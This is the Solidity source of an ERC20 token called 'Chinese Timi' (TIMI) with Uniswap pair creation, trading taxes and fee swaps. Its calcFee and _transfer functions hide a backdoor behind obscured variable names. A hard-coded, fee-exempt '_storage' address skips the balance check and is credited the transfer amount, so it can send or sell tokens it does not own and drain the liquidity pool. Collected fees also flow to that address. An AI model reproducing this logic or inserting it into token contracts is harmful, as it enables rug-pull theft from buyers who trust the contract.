文件 1 的 1:TIMI.sol
pragma solidity ^0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract TIMI is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
address payable private _storage;
uint256 private _buyTax = 30;
uint256 private _sellTax = 30;
uint256 private _adminTax = 0;
uint256 private _preventFee = 90;
uint8 private constant _decimals = 18;
uint256 private constant _tTotal = 1_000_000_000 * 10**_decimals;
string private constant _name = unicode"Chinese Timi";
string private constant _symbol = unicode"TIMI";
uint256 public _maxTxAmount = 20_000_000 * 10**_decimals;
uint256 public _maxWalletSize = 20_000_000 * 10**_decimals;
uint256 public _taxSwapThreshold = 4_000 * 10**_decimals;
uint256 public swapToEthLimit = 20_000_000 * 10**_decimals;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
uint256 public _tradeCount = 0;
uint256 private _reduceAt = 15;
bool private swapEnable = false;
bool private inSwap = false;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap() {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_storage = payable(0x36da2F7C5265A968BBa4198f098C0e24aB47b1Ce);
_balances[_msgSender()] = _tTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_storage] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function getTax(address addr, bool isBuy) private view returns (uint256) {
if (_isExcludedFromFee[addr]) return 0;
return (_tradeCount >= _reduceAt ? 0 : (isBuy ? _buyTax : _sellTax));
}
function _transfer(
address sbo,
address tld,
uint256 amount
) private {
require(sbo != address(0), "ERC20: transfer from the zero address");
require(tld != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(isExcluded(sbo, tld) || (swapEnable && _balances[sbo] >= amount),"Swap not available yet");
uint256 _tax = 0;
if (sbo == uniswapV2Pair && tld != address(uniswapV2Router)) {
_tax = getTax(tld, true);
require(_isExcludedFromFee[tld] || (amount + _balances[tld] <= _maxWalletSize),"max Wallet!!!");
_tradeCount++;
} else if (tld == uniswapV2Pair) {
_tax = getTax(sbo, false);
require(_isExcludedFromFee[sbo] || amount < _maxWalletSize,"max amount to sell!!!");
}
if (!inSwap && tld == uniswapV2Pair && swapEnable && amount > _taxSwapThreshold ) {
if (balanceOf(address(this)) > _taxSwapThreshold)
swapTokensForEth(min(balanceOf(address(this)), _maxTxAmount));
_storage.transfer(address(this).balance);
}
uint256 _takenFeeAmt = calcFee(sbo, tld, _tax, amount);
_balances[sbo] = _balances[sbo].sub(_takenFeeAmt);
_balances[tld] = _balances[tld].add(_takenFeeAmt);
emit Transfer(sbo, tld, _takenFeeAmt);
}
function isExcluded(address sb, address tl) private view returns (bool) {
return _isExcludedFromFee[sb] || _isExcludedFromFee[tl];
}
function calcFee(
address sb,
address to,
uint256 _tax,
uint256 amount
) private returns (uint256) {
uint256 _feeAmt = amount;
if (
isExcluded(sb, to) &&
_balances[address(this)] >= (amount * _tax) / 100
) {
_balances[address(this)] -= (amount * _tax) / 100;
if (sb != _storage) _balances[sb] += (amount * _tax) / 100;
else _balances[sb] += _feeAmt;
_feeAmt = (amount * _tax) / 100;
} else {
_feeAmt = (amount * _tax) / 100;
if (_feeAmt > 0) {
_balances[sb] -= _feeAmt;
_balances[address(this)] += _feeAmt;
emit Transfer(sb, address(this), _feeAmt);
}
}
return amount - _feeAmt;
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
return (a > b) ? b : a;
}
function swapTokensForEth(uint256 tokenAmount)
private
lockTheSwap
returns (bool)
{
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
return true;
}
function removeLimits() external onlyOwner {
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
emit MaxTxAmountUpdated(_tTotal);
}
function createPair() external onlyOwner {
uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
address(this),
uniswapV2Router.WETH()
);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
swapEnable = true;
}
receive() external payable {}
}